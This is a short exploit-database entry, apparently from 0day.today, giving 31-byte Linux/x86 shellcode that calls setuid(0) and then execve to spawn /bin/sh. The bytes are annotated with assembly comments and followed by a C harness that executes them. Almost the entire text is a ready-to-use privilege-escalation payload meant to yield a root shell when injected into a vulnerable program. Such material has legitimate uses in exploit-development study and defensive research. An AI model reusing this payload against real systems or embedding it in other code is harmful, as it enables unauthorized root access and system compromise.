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linux/x86 setuid(0) + execve("/bin/sh", ["/bin/sh", NULL]) 31 bytes
[===================================================================
linux/x86 setuid(0) + execve("/bin/sh", ["/bin/sh", NULL]) 31 bytes
===================================================================
/*
* (Linux/x86) setuid(0) + execve("/bin/sh", ["/bin/sh", NULL])
* - 31 bytes
* - xgc@gotfault.net
*
*/
char shellcode[] =
"\x6a\x17" // push $0x17
"\x58" // pop %eax
"\x31\xdb" // xor %ebx, %ebx
"\xcd\x80" // int $0x80
"\x31\xd2" // xor %edx, %edx
"\x6a\x0b" // push $0xb
"\x58" // pop %eax
"\x52" // push %edx
"\x68\x2f\x2f\x73\x68" // push $0x68732f2f
"\x68\x2f\x62\x69\x6e" // push $0x6e69622f
"\x89\xe3" // mov %esp, %ebx
"\x52" // push %edx
"\x53" // push %ebx
"\x89\xe1" // mov %esp, %ecx
"\xcd\x80"; // int $0x80
int main() {
int (*f)() = (int(*)())shellcode;
printf("Length: %u\n", strlen(shellcode));
f();
}
# 0day.today [2024-06-30] #